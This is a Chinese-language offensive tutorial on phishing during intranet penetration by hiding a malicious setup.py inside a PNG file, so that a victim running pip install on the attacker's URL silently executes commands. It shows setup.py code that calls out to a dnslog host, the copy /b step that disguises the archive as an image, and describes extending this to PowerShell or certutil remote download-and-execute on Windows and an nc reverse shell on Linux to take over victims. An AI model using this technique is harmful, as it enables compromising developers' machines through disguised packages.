釣魚通常是內網滲透過程中的最為常見的入口方式,但是隨著藍隊人員溯源反制思路開闊,入侵排查能力提升,釣魚也越來越困難,這里就記一種不同尋常的釣魚方式。
pip install 的執行流程:
- 先獲取到遠端的服務器地址 url 比如: http://mirrors.aliyun.com/pypi/simple/
- 然后獲取到本地的庫安裝的路徑,通過服務器 url 去查找對應的 django 包
- 講找到的包下載到本地
- 解壓該包到 python 的 site-packages 文件夾中,然后檢查是否需要依賴其他包,如果依賴就安裝其他的包
- 如果有依賴安裝則按照同樣的流程執行,待完成之后包就安裝完成
這里可以看下 pip install 的執行過程
https://blog.csdn.net/qq_33339479/article/details/93094774
這里看下解壓的代碼,這里 down 下來解壓代碼如下
def unpack_file(filename: str,location: str,content_type: Optional[str] = None,
) -> None:filename = os.path.realpath(filename)if (content_type == "application/zip"or filename.lower().endswith(ZIP_EXTENSIONS)or zipfile.is_zipfile(filename)):unzip_file(filename, location, flatten=not filename.endswith(".whl"))elif (content_type == "application/x-gzip"or tarfile.is_tarfile(filename)or filename.lower().endswith(TAREXTENSIONS + BZ2EXTENSIONS + XZ_EXTENSIONS)):untar_file(filename, location)else:# FIXME: handle?# FIXME: magic signatures?logger.critical("Cannot unpack file %s (downloaded from %s, content-type: %s);""cannot detect archive format",filename,location,content_type,)raise InstallationError(f"Cannot determine archive format of {location}")
這里先判斷了 content-type、filename 的后綴,這里兩個都不符合,這里看下最后這個是如何進行判斷。需要注意的是,iszipfile() 函數并不會檢查文件的擴展名或者文件頭等信息來判斷文件類型,而是會嘗試解壓文件并檢查解壓結果來確定文件是否為 ZIP 壓縮文件。因此,即使將非 ZIP 壓縮格式的文件的擴展名改為 ".zip",仍然不能通過 iszipfile() 函數的檢查。
pip install package_name.zip
這種方式下,pip 會在解壓縮安裝包后自動執行 setup.py 文件進行安裝。在安裝過程中,setup.py 文件將會根據包內的 setup.cfg 和 setup.py 文件內容來設置包的安裝參數。
所以就導致了靜默的命令執行
pip install 引發的命令執行
漏洞復現
(1)先寫一段代碼
from setuptools import setup
import osdef test():result = os.popen("ping 9uawvq.dnslog.cn")print(result.read())test()setup(name="root",version="1.0"
)
(2)把 setup.py 先放到一個任意文件夾中,然后再將文件夾壓縮成 zip 文件,然后再將 zip 文件和 png 圖片壓縮成 png 圖片。(具體命令如下)
(3)然后起一個 http 服務,下圖就可以直接訪問到。
(4)虛擬機(受害機)直接執行 pip install "http://172.211.55.3/dog2.png" 這里寫的命令是 ping dnslog 地址。這里 dnslog 成功接收到。
引發的釣魚:
假設是 windows 系統上鉤,那么我們可以讓他執行 powershell 或者 certutils 來進行遠程下載并落地執行。這里還是用之前的方法寫 powershell 不落地執行的投毒。
這里把 setup.py 改為上述的代碼,然后放入到任意文件夾下,然后進行壓縮成 1.zip 然后執行代碼
copy /b dog.png+1.zip dog2.png
然后肉雞執行 pip install "http://xxxxx/dog2.png" 即可成功上線。
直接上線 linux(簡單實用 nc 命令)
這里修改 setup.py 為如下內容,然后按照復現步驟,將文件夾生成文件。
然后用 pip install "http://xxx/dog2.png" 即可成功上線。